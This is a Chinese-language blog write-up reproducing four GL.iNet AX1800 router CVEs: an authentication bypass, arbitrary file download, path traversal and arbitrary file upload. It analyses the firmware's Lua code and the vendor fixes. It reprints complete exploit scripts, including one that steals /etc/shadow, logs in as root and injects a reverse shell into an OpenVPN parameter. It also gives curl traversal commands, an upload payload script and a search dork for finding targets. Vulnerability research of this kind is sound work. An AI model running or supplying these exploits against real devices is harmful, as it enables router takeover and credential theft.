GL.iNet AX1800 cve复现
见闻
OpenWrt
是一个专为嵌入式设计的Linux操作系统,高度模块化、自动化、占用空间小,它还提供了一个web管理界面LuCI,OpenWrt常用于路由器。比如使用树莓派加OpenWrt可以快速搭建起一个软路由器。
OpenResty
是一个基于Nginx的可伸缩的web平台,旨在通过Lua脚本引擎来扩展 Nginx 服务器,提供强大的动态 Web 应用支持,尤其适用于高并发、低延迟的场景。它可以让web服务直接跑在Nginx服务内部,可以对HTTP、MySQL、Redis等都进行高性能响应。不需要通过第三方语言例如PHP、Python等来访问数据库再返回,大大提高了应用性能。
ubus
(micro bus)是 OpenWrt 项目中用于实现进程间通信(IPC)的轻量级总线架构。它提供了一个通用框架,允许系统中的守护进程和应用程序通过统一的接口进行交互和消息传递,分析中可以看到这款路由器中的请求路径主要是通过ubus.call来调用实现的。
CVE-2024-45261
AX1800: 4.6.2, fixed in 4.6.4。
认证登录流程
这个漏洞是一个身份认证绕过漏洞,那么首先需要弄清楚路由器进行管理员登录的流程是什么,我使用AX1800实体机进行复现,查看浏览器登录时的网络包,发现有/rpc/challenge和/rpc/login两个请求,用json传参,包含一些方法名和参数名。/rpc-challenge的请求体中包含username字段,响应体包含salt、alg、nonce字段,如图所示:
在/rpc-login请求中,请求体中包含username和hash,响应体中包含sid。如下图所示:
在fs中搜索关键字“challenge”如下所示:
MINGW64 ~/Desktop/4.6.2sysupgrade-glinet_ax1800 $ grep -i -r 'challenge' ./ Binary file ./squashfs-root/etc/AdGuardHome/AdGuardHome matches ./squashfs-root/etc/ssl/openssl.cnf:challengePassword = A challenge password ./squashfs-root/etc/ssl/openssl.cnf:challengePassword_min = 4 ./squashfs-root/etc/ssl/openssl.cnf:challengePassword_max = 20 Binary file ./squashfs-root/lib/modules/4.4.60/bonding.ko matches Binary file ./squashfs-root/lib/modules/4.4.60/nf_conntrack.ko matches Binary file ./squashfs-root/usr/bin/openssl matches Binary file ./squashfs-root/usr/lib/libavformat.so.58.45.100 matches Binary file ./squashfs-root/usr/lib/libcrypto.so.1.1 matches Binary file ./squashfs-root/usr/lib/libdbus-1.so.3.26.1 matches Binary file ./squashfs-root/usr/lib/libdcerpc.so.0.0.1 matches Binary file ./squashfs-root/usr/lib/libgnutls.so.30.29.1 matches Binary file ./squashfs-root/usr/lib/libimobiledevice-1.0.so.6.0.0 matches Binary file ./squashfs-root/usr/lib/libndr-standard.so.0.0.1 matches Binary file ./squashfs-root/usr/lib/libsamba-credentials.so.1.0.0 matches Binary file ./squashfs-root/usr/lib/libsamba-errors.so.1 matches Binary file ./squashfs-root/usr/lib/libwbclient.so.0.15 matches ./squashfs-root/usr/lib/lua/luci/controller/rpc.lua: server.challenge = function(user, pass) ./squashfs-root/usr/lib/lua/luci/controller/rpc.lua: local challenge = server.challenge(...) ./squashfs-root/usr/lib/lua/luci/controller/rpc.lua: if challenge then ./squashfs-root/usr/lib/lua/luci/controller/rpc.lua: challenge.sid, ./squashfs-root/usr/lib/lua/luci/controller/rpc.lua: return challenge.sid Binary file ./squashfs-root/usr/lib/samba/libasn1-samba4.so.8.0.0 matches Binary file ./squashfs-root/usr/lib/samba/libauth-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libauth4-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libcli-smb-common-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libcliauth-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libdcerpc-samba-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libgensec-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libkrb5-samba4.so.26.0.0 matches Binary file ./squashfs-root/usr/lib/samba/liblibsmb-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libmsrpc3-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libndr-samba-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libndr-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libsmbclient-raw-samba4.so matches Binary file ./squashfs-root/usr/lib/samba/libsmbd-base-samba4.so matches Binary file ./squashfs-root/usr/libexec/wget-ssl matches ./squashfs-root/usr/sbin/gl-ngx-session:resp=$(ubus call gl-session challenge "{\"username\":\"$username\"}") ./squashfs-root/usr/sbin/gl-ngx-session:echo "challenge:" ./squashfs-root/usr/sbin/gl-ngx-session: challenge = { Binary file ./squashfs-root/usr/sbin/pppd matches Binary file ./squashfs-root/usr/sbin/tailscaled matches Binary file ./squashfs-root/usr/sbin/tor matches Binary file ./squashfs-root/usr/sbin/wpad matches ./squashfs-root/usr/share/gl-ngx/oui-rpc.lua:local function rpc_method_challenge(id, params) ./squashfs-root/usr/share/gl-ngx/oui-rpc.lua: local res = ubus.call("gl-session", "challenge", params) ./squashfs-root/usr/share/gl-ngx/oui-rpc.lua: ["challenge"] = rpc_method_challenge,
该路由器的web服务是用Luci、Nginx、OpenResty共同开发的,核心功能由lua实现,考虑从如下三个lua入手:
./squashfs-root/usr/lib/lua/luci/controller/rpc.lua ./squashfs-root/usr/sbin/gl-ngx-session ./squashfs-root/usr/share/gl-ngx/oui-rpc.lua
其中,在./usr/sbin/gl-ngx-session脚本中看到了完整的登录认证逻辑。
challenge
首先检查了username的类型是否为字符串,检查login_wait判断用户是否处于登录等待时间,若通过则使用get_crypt_info(username)获取当前用户在/etc/shadow文件中的加密方法alg、盐值salt,使用create_nonce()生成一个随机数,作为challenge请求的响应体内容。然后看一下get_crypt_info和create_nonce的逻辑。
challenge = { function(req, msg) local username = msg.username if type(username) ~= "string" then conn:reply(req, { code = ERROR_CODE_INVALID_PARAMS }) return end if login_wait - sys.uptime() > 0 then conn:reply(req, { code = ERROR_CODE_LOGIN_FAIL_OVER_LIMIT, data = { wait = login_wait - sys.uptime() } }) return end local alg, salt = get_crypt_info(username) if not alg then login_fail = login_fail + 1 if login_fail == login_fail_max_cnt then login_fail = 0 login_wait = sys.uptime() + login_fail_wait_time end conn:reply(req, { code = ERROR_CODE_ACCESS }) return end local nonce = create_nonce() if not nonce then conn:reply(req, { code = ERROR_CODE_ACCESS }) return end conn:reply(req, { code = 0, data = { nonce = nonce, alg = alg, salt = salt } }) end, { username = ubus.STRING } },
get_crypt_info
验证输入用户名是否合法。在 /etc/shadow 文件中搜索指定用户名的密码信息。如果找到,返回加密算法编号和盐值。如果未找到或用户名无效,返回 nil。
local function get_crypt_info(username) if not username or not username:match('^[a-z][-a-z0-9_]*$') then return nil end for l in io.lines("/etc/shadow") do local alg, salt = l:match('^' .. username .. ':%$(%d)%$(.+)%$') if alg then return tonumber(alg), salt end end return nil end
create_nonce
创建nonce并记录创建时间和nonce的总数。
local function create_nonce() if nonce_cnt > 5 then log.err("The number of nonce too more") return nil end local nonce = generate_id(32) nonces[nonce] = sys.uptime() + 2 nonce_cnt = nonce_cnt + 1 return nonce end
login
获取请求体中的username和hash,并清理全局令牌;检查参数类型和登录等待时间;随后就是关键的验证用户名与hash部分在login_test函数实现;如果验证失败就设置登录次数并返回;若验证失败则重置登录失败次数;管理会话数量;创建随机数sid,更新全局令牌文件路径为/tmp/gl_token_;回复成功响应。
然后看一下login_test的实现。
login = { function(req, msg) local username, hash = msg.username, msg.hash clean_gl_token() if type(username) ~= "string" or type(hash) ~= "string" then conn:reply(req, { code = ERROR_CODE_INVALID_PARAMS }) return end if login_wait - sys.uptime() > 0 then conn:reply(req, { code = ERROR_CODE_LOGIN_FAIL_OVER_LIMIT, data = { wait = login_wait - sys.uptime() } }) return end if not login_test(username, hash) then login_fail = login_fail + 1 if login_fail == login_fail_max_cnt then login_fail = 0 login_wait = sys.uptime() + login_fail_wait_time end conn:reply(req, { code = ERROR_CODE_ACCESS }) return end login_fail = 0 if session_cnt == MAX_SESSION then log.err("session more than ", MAX_SESSION, ", clean the last inactive") local li_sid for sid, s in pairs(sessions) do if not li_sid then li_sid = sid elseif s.timeout < sessions[li_sid].timeout then li_sid = sid end end if li_sid then sessions[li_sid] = nil session_cnt = session_cnt - 1 end clean_gl_token() end local sid = create_session(username) update_gl_token("/tmp/gl_token_" .. sid) conn:reply(req, { code = 0, data = { username = username, sid = sid } }) end, { username = ubus.STRING, hash = ubus.STRING } },
login_test
- 校验用户名的格式。
- 从
/etc/shadow
文件中查找匹配的用户名和密码记录。 - 使用
nonce
和密码记录计算哈希值,验证是否与客户端提供的哈希值匹配。 - 如果匹配成功,移除使用的
nonce
并返回true
;否则,返回false
。
local function login_test(username, hash) if not username or not username:match('^[a-z][-a-z0-9_]*$') then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if hex.encode(md5.sum(table.concat({username, pw, nonce}, ":"))) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end return false end
写了一个测试脚本来看看密码校验时用到的pw、nonce、以及生成的hash都是什么样子,如下图:
logout
再看一下logout,退出登录,从msg中获取sid作为索引置空sessions表中的对应项,清除全局表。
logout = { function(req, msg) local sid = msg.sid if type(sid) ~= "string" then conn:reply(req, { code = ERROR_CODE_INVALID_PARAMS }) return end sessions[sid] = nil session_cnt = session_cnt - 1 clean_gl_token() conn:reply(req, {}) end, { sid = ubus.STRING } },
也就是说,要实现登录,分为两个步骤
challenge
login
在web管理页面只能使用root登录,认证的关键是hash值比对成功,正常情况下如果没有登录密码,就无法计算出正确的hash。
漏洞分析与测试
漏洞成因在于认证过程中缺少了nonce和username的对应关系,从而导致越权登录。
/etc/shadow中不只有root一个用户,能否用其他用户名登录。可以看到其他用户的密码信息是*或者x。
能否从challenge入手,直接伪造challenge请求,传参其他用户名比如ftp获取nonce呢。测试后并不可行。
在get_crypt_info中用正则匹配获取对应用户名的alg,由于其他用户没有这项,故返回空,之后的生成nonce的逻辑也就不会执行。
再看能否伪造login请求实现认证。login请求获取到username检查数据类型后就进入login_test进行hash比对。而login_test的逻辑也很简单,其中pw就是alg+salt+passwd的组合,如果是其他用户,则pw为*或者x。nonce就从challenge响应中获取。
也就是说完整的攻击逻辑是先用root用户名进行challenge请求获取到nonce,再用其他用户名加上nonce进行login请求即可。直接拿CVE-2024-45261的poc进行测试,可以看到下图成功认证。
poc
取自漏洞披露者 Bandar Alharbi (aggressor)
#!/usr/bin/python3 # Exploit Title: GL.iNet Authentication Bypass # CVE: CVE-2024-45261 # Date: 2024-10-24 # Google Dork: intitle:"GL.iNet Admin Panel" # Author: Bandar Alharbi (aggressor) # Vendor: www.gl-inet.com # Vendor Advisories: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Bypassing%20Login%20Mechanism%20with%20Passwordless%20User%20Login.md # Tested Firmware: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0408release4-0419-1713515790.bin # Tested Model: GL-X3000 Spitz AX import sys import requests import json import hashlib requests.packages.urllib3.disable_warnings() s = requests.Session() s.verify = False s.keep_alive = True s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}) def info(): info = '''[i]\033[1m HINT!! \033[0m - Use this non-privileged SID with my other CVE-2024-45260 (authenticated arbitrary file download) to download any files on the target including those owned by root: curl -k '%s/download' --data-binary 'sid=%s&path=/etc/shadow&filename=shadow\\x0d\\x0a' - Or better, use my combined CVEs which turns this vulnerability into an Unauthenticated RCE!''' %(url,ubus_sid) print(info) # This CVE exploits a borken auth logic that allows for generating a valid unprivileged SID using a username that has *no* password set in the Unix shadow file. def bypassAuth(): j = {"jsonrpc":"2.0","id":1,"method":"challenge","params":{"username":"root"}} r = s.post(url+"/rpc", json=j) if r.status_code == 200 and "Access denied" not in r.text and "nonce" in r.json()['result']: nonce = r.json()['result']['nonce'] data = f'ubus:x:{nonce}' hash = hashlib.md5(data.encode()).hexdigest() j = {"jsonrpc":"2.0","id":1,"method":"login","params":{"username":"ubus","hash":hash}} r = s.post(url+"/rpc", json=j) try: sid = r.json()['result']['sid'] except Exception: pass if sid: print("[*] Successfully generated a non-privileged SID for the \033[1mubus\033[0m account: \033[1m%s\033[0m" %sid) return sid else: print("[*] Error! Could not generate a SID!") return False else: print("[*] Could not get a nonce from the target device! Try again later!") return False def isVulnerable(): r = s.post(url+"/rpc") if r.status_code == 500 and "nginx" in r.text: r = s.get(url+"/views/gl-sdk4-ui-login.common.js") if "Admin-Token" in r.text: j = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]} r = s.post(url+"/rpc", json=j) version = r.json()['result']['firmware_version'] model = r.json()['result']['model'] if version.startswith(('4.')): print("[*] The firmware's version: \033[1m%s\033[0m" %version) print("[*] The device Model is: \033[1m%s\033[0m" %model) return True print("[*] Either the firmware version is NOT vulnerable or the target may NOT be a GL.iNet device!") return False def isAlive(): try: r = s.get(url) if r.status_code != 200: print("[*] Make sure the target's web interface is accessible!") return False elif r.status_code == 200: print("[*] The target is reachable!") return True except Exception: print("[*] Error occurred when connecting to the target!") pass return False if __name__ == '__main__': if len(sys.argv) != 2: print("exploit.py url") sys.exit(0) url = sys.argv[1] url = url.lower() if not url.startswith(('http://', 'https://')): print("[*] An invalid url format! It should be \033[1mhttp[s]://ae3f8b5.glddns.com OR http[s]://192.168.8.1\033[0m") sys.exit(0) if url.endswith("/"): url = url.rstrip("/") print("\033[1m************** GL.iNet Authentication Login Bypass **************\033[0m") try: if (isAlive() and isVulnerable()) != (False and False): ubus_sid = bypassAuth() if ubus_sid != False: info() except KeyboardInterrupt: print("\n[*] The exploit has been stopped by the user!")
漏洞修复
新版本中官方将原来简单的单层表结构改为嵌套表,用username作为键,实现了username和nonce的绑定关系。有效阻止了这一越权登录。
CVE-2024-45260
这是一个登录认证后的越权文件下载漏洞,此漏洞允许通过GL管理面板身份验证的非特权用户下载易受攻击系统上任何文件的内容,包括root拥有的文件。通过下载/etc/shadow文件,然后使用加密的root密码以root身份登录到管理面板,此漏洞可能导致以root权限远程执行代码。AX1800: 4.6.2, fixed in 4.6.4。
下载文件流程
首先需要知道下载部分的逻辑。每个web请求的大致逻辑都可在/usr/share/gl-ngx/oui-xxx.lua查看到,如下图,主要逻辑是检查path存在,再检查sid是否有效,检查目标文件是否存在,随后打开文件读取文件内容。
漏洞分析与测试
这一请求看似没有任何问题,实则忽视了非特权用户和特权用户之间的区分。仅仅是检查sid是否有效,也就是是否已经经过challenge和login的登录认证,这导致普通用户也可以拥有特权用户一样的文件访问权限,那么如果有一个普通用户登录认证后是否就可以越权下载敏感文件比如/etc/shadow,从而得到root用户密码,再用root身份登录。
首先在测试机上为普通用户ftp设置设置密码,再用其身份登录获得普通用户的sid。
然后用普通用户的sid去下载/etc/shadow,如下图,访问成功。
poc
来自漏洞披露者https://github.com/aggressor0
from pathlib import Path import sys import requests import json import hashlib requests.packages.urllib3.disable_warnings() s = requests.Session() s.verify = False s.keep_alive = True s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}) def rce(): d = 'sid=%s&path=/etc/shadow' %sid r = s.post(url+"/download", data=d, headers={'Content-Type': 'application/x-www-form-urlencoded'}) if r.status_code == 200: cryptpass = r.text.split(':')[1] j = {"jsonrpc":"2.0","id":1,"method":"challenge","params":{"username":"root"}} r = s.post(url+"/rpc", json=j) if r.status_code == 200 and "Access denied" not in r.text and "nonce" in r.json()['result']: nonce = r.json()['result']['nonce'] data = f'root:{cryptpass}:{nonce}' hash = hashlib.md5(data.encode()).hexdigest() j = {"jsonrpc":"2.0","id":1,"method":"login","params":{"username":"root","hash":hash}} r = s.post(url+"/rpc", json=j) rsid = r.json()['result']['sid'] #revshell1 = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f;" %(ip,port) # enable this when openssl (buggy version on beta firmware 4.4.10) does not work on the target! Use nc to listen instead of ncat! revshell2 = ";mkfifo /tmp/s;/bin/sh -i< /tmp/s 2>&1|openssl s_client -quiet -connect %s:%s>/tmp/s;rm /tmp/s" %(ip,port) #j1 = {"jsonrpc":"2.0","id":1,"method":"call","params":[rsid,"ovpn-server","generate_certificate",{"dh":revshell1}]} # enable this to use nc when openssl is not working j2 = {"jsonrpc":"2.0","id":1,"method":"call","params":[rsid,"ovpn-server","generate_certificate",{"dh":revshell2}]} try: print("\tHints! if you did not receive a connection back, try again by listening on other known ports like 123,51820,21,22,53,443 ... etc.") #s.post(url+"/rpc", json=j1, timeout=0.8) # enable this to use nc when openssl is not working s.post(url+"/rpc", json=j2, timeout=0.8) except requests.exceptions.ReadTimeout: pass else: print("[*] Could not retrieve the root's nonce!") return False else: print("[*] Could not retrieve the shadow file!") return False def downloadFile(): fname = Path(file).name d = 'sid=%s&path=%s&filename=%s' %(sid,file,fname) r = s.post(url+"/download", data=d, headers={'Content-Type': 'application/x-www-form-urlencoded'}) if r.status_code == 200: print("[*] The requested file has been successfully retrieved and saved in the current directory!") fname = Path(file).name f = open(fname, "wb") print("file_content----->>",r.text) f.write(r.content) f.close() return True else: print("[*] Could not retrieve the target file!") print("[!] Make sure that the entered filename and full path exist on the target system, and the SID has not expired!") print("[!] If it's still not working, then the target system is patched!") return False def isVulnerable(): r1 = s.post(url+"/rpc") if r1.status_code == 500 and "nginx" in r1.text: r2 = s.get(url+"/views/gl-sdk4-ui-login.common.js") if "Admin-Token" in r2.text: j = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]} r3 = s.post(url+"/rpc", json=j) version = r3.json()['result']['firmware_version'] model = r3.json()['result']['model'] if version.startswith(('4.')): print("[*] The firmware's version: %s" %version) print("[*] The device Model: %s" %model) return True print("[*] Either the firmware version is NOT vulnerable or the target may NOT be a GL.iNet device!") return False def isAlive(): try: r = s.get(url) if r.status_code != 200: print("[*] Make sure the target's web interface is accessible!") return False elif r.status_code == 200: print("[*] The target is reachable!") return True except Exception: print("[*] Error occurred when connecting to the target!") pass return False if __name__ == '__main__': if len(sys.argv) != 4: print("exploit.py <URL> <SID> <FILENAME>") print("Example: \033[1mexploit.py https://192.168.8.1 JhlYhLnIGFu7qG3e1HwZZDNRRFPONxbF /etc/shadow\033[0m") sys.exit(0) url = sys.argv[1] url = url.lower() if not url.startswith(('http://', 'https://')): print("[*] An invalid url format! It should be http[s]://ae3f8b5.glddns.com OR http[s]://192.168.8.1") sys.exit(0) if url.endswith("/"): url = url.rstrip("/") sid = sys.argv[2] file = sys.argv[3] print("\033[1m************** GL.iNet Authenticated RCE and Arbitrary File Download - All-in-One **************\033[0m") try: if (isAlive() and isVulnerable()) != (False and False): if downloadFile() != False: while True: print("[*] Would you like to get an *encrypted* root reverse shell? \033[1m(Y/N)\033[0m", end =" ") ans = input().lower() if ans == "y": print("[*] Before entering your IP/PORT, make sure you have a ncat listener NOT netcat: \033[1mncat --ssl -vv -l -p 443\033[0m") ip = input("\tIP: ") port = input("\tPORT: ") rce() break elif ans == "n": break except KeyboardInterrupt: print("\n[*] The exploit has been stopped by the user!")
漏洞修复
在新版本中官方给出的修复如下,在打开文件之前不仅仅检查文件是否存在,而是加上了rpc.access的检查。然后再看一下rpc.access的逻辑。
在rpc.access中,只允许本地请求或者root请求或者具备特定权限的请求访问资源,对不同用户的权限做了区分。
CVE-2024-45262
通过目录遍历执行任意库中函数。AX1800: 4.6.2, fixed in 4.6.4。
rpc-call调用流程
在nginx下的gl.conf文件中可以找到/rpc路径的信息,指向了oui-rpc.lua脚本。接着查看该脚本。
oui-rpc.lua声明了rpc_method_call函数,首先提取参数,接着校验是否为no_auth即无需认证的方法,如果是则不进行rpc.access检查,否则继续执行rpc.access,随后就调用rpc.call方法,准备执行库函数。
rpc.call的实现如下,直接将object即库名和文件路径进行拼接进行调用。
漏洞分析与测试
从上面的分析中可以看出,未对object即库名进行任何检查,直接拼接到了文件目录中,漏洞成因正是如此,可以通过'../../'等字符进行目录穿越。达到调用任意库的目的。
poc
来自GLinet官方漏洞库[CVE-issues/4.0.0/Improper Pathname Restriction Leading to Path Traversal in Restricted Directories.md at main · gl-inet/CVE-issues](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Improper Pathname Restriction Leading to Path Traversal in Restricted Directories.md)
cp /usr/lib/oui-httpd/rpc/cable /tmp/ curl -H 'glinet:1' 127.0.0.1/rpc -d '{"method":"call","params":["","../../../../tmp/cable", "get_status"]}' curl -H 'glinet:1' 127.0.0.1/rpc -d '{"method":"call","params":["", "plugins", "install_package",{"name":["1","package2"]}],"id": 1}'
漏洞修复
加上了正则匹配,object参数需要以字母数字下划线开头,无法再使用“..”来做目录穿越了。
CVE-2024-45263
“/upload”端点容易受到任意文件上传攻击,允许攻击者将任何文件上传到系统。AX1800: 4.6.2, fixed in 4.6.4。
文件上传流程
具体逻辑实现部分在oui-upload.lua中,程序的主体是一个while循环,依次检查sid,authed,file_size,file type等等。限制文件上传类型部分的实现在path_is_allowed函数中,接下来查看其代码逻辑。
path_is_allowed函数首先检查文件名 to 中是否存在..或者~防止目录穿越,接着遍历/usr/share/gl-upload.d目录下所有配置文件,将文件名 to 与配置文件中依次做比对,比对成功则返回真,可见上传文件类型由这些配置文件决定。
刚开始对path_is_allowed函数有些疑惑,于是进行了打印变量值的测试,说明上面的思考是正确的。
漏洞分析与测试
查看/usr/share/gl-upload.d目录下所有配置文件,可以看到其中ovpn_upload和wg_upload中都是用了通配符*,这意味着利用/tmp/ovpn_upload和/tmp/wg_upload可以上传任意类型文件,这就导致了任意类型文件上传的漏洞。
运行poc,看到进程未收到错误信息。
查看tmp目录下发现.php文件已经上传。
poc
import requests url = 'http://192.168.8.1/upload' form_data = { 'sid': 'VzkeRhoAJSPnfunvD11fumA6DlwZnD5m', 'size': '6150', 'path': '/tmp/wg_upload.php' } files = { 'file': ('firmware.img', open('./test.lua', 'rb'), 'application/octet-stream') } response = requests.post(url, files=files, data=form_data) files['file'][1].close() print(response.text)
漏洞修复
查看下高版本是如何修复的,可以看到移除了通配符*,对文件名做了更细致的划分,严格限制了文件类型。
此外,我在对比代码时发现,官方在oui-upload.lua调用io.open之前,还增加了rpc.access函数,对用户权限进行检查。
工具链接
gdbserver不同架构
https://github.com/hugsy/gdb-static/blob/master/gdbserver-8.1.1-aarch64-le
参考链接
[CVE-issues/4.0.0/Unauthorized Access to File Download and Upload Interfaces.md at main · gl-inet/CVE-issues](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Unauthorized Access to File Download and Upload Interfaces.md)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)